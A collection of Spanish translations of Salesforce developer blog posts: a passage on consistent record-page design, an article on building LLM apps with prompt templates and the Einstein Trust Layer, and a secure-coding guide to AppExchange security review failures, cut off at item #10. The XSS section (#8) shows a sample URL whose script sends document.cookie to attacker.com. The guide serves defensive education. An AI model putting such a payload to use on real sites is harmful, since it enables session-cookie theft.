Su estrategia de diseño tiene en cuenta que todos desarrollan atajos mentales a medida que avanzan. Los procesos son más fáciles cuando son familiares. Por lo tanto, los componentes familiares en las páginas de registro pueden aumentar la eficiencia y permitir a los usuarios actuar sin fricciones.

Entonces Praga hizo una plantilla con dos columnas. Le dio a los elementos del patrón de diseño el mismo aspecto, ubicación y propósito en todos los casos. No existía una razón crítica para el negocio para recrear la rueda. En todo caso, fue todo lo contrario. Los usuarios necesitaban poder confiar en una experiencia de usuario intuitiva. Necesitaban confiar en lo que saben sobre un patrón para informar cualquier página en la que se encontraran.

"Hay una única razón por la que esto funcionó", dijo. "Todas las páginas de registro con plantilla fueron posibles gracias a Salesforce Lightning Design System (SLDS) ".

Centrarse en la reutilización

Hay grandes beneficios al diseñar sistemas. Prag confió en SLDS como recursos para crear páginas de registro consistentes con los principios de experiencia del usuario, el lenguaje de diseño y las mejores prácticas de Salesforce. "La arquitectura integrada basada en componentes nos permitió segregar la información agrupada en una plantilla universal para páginas de registro", dijo.

Después de todo, incluso una pequeña elección de diseño puede crear dificultades para los usuarios. Si un elemento está en un lugar nuevo, puede provocar agotamiento mental, arrastre y, finalmente, resignación.

“Además, algo que afecta a los usuarios es la necesidad de volver a aprender una experiencia o ralentizar su flujo”, dijo Alan Weibel, arquitecto de UX de Salesforce.

Los nuevos patrones de diseño se realizaron a nivel de macrointeracción y a nivel de microinteracción. Prag se aseguró de que las tareas más grandes (por ejemplo, iniciar sesión) fueran tan uniformes como las más pequeñas (por ejemplo, envío de formularios).

La coherencia produce eficiencia

Hoy, la información del equipo está centralizada en Sales Cloud. Los usuarios se sienten cómodos con patrones de diseño familiares. El trabajo es más fácil y los beneficios de compartir información son significativos. Las desviaciones anteriores ralentizaron el trabajo y aumentaron la carga para el administrador de Salesforce. Ahora, nadie navega por diferentes páginas de diferentes maneras.

Este tipo de transformación siempre es posible. Prag lo vio cientos de veces en sus trece años especializándose en Salesforce. La clave es que las organizaciones sigan evaluando su implementación para reducir la deuda tecnológica y la deuda de diseño .

Lo que funcionó antes puede no funcionar ahora.

Esa es la belleza del diseño. Es una conversación en curso. Y, a veces, patrones de diseño consistentes son justo lo que necesita para que su equipo vuelva a encarrilarse.

Seguir leyendo

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

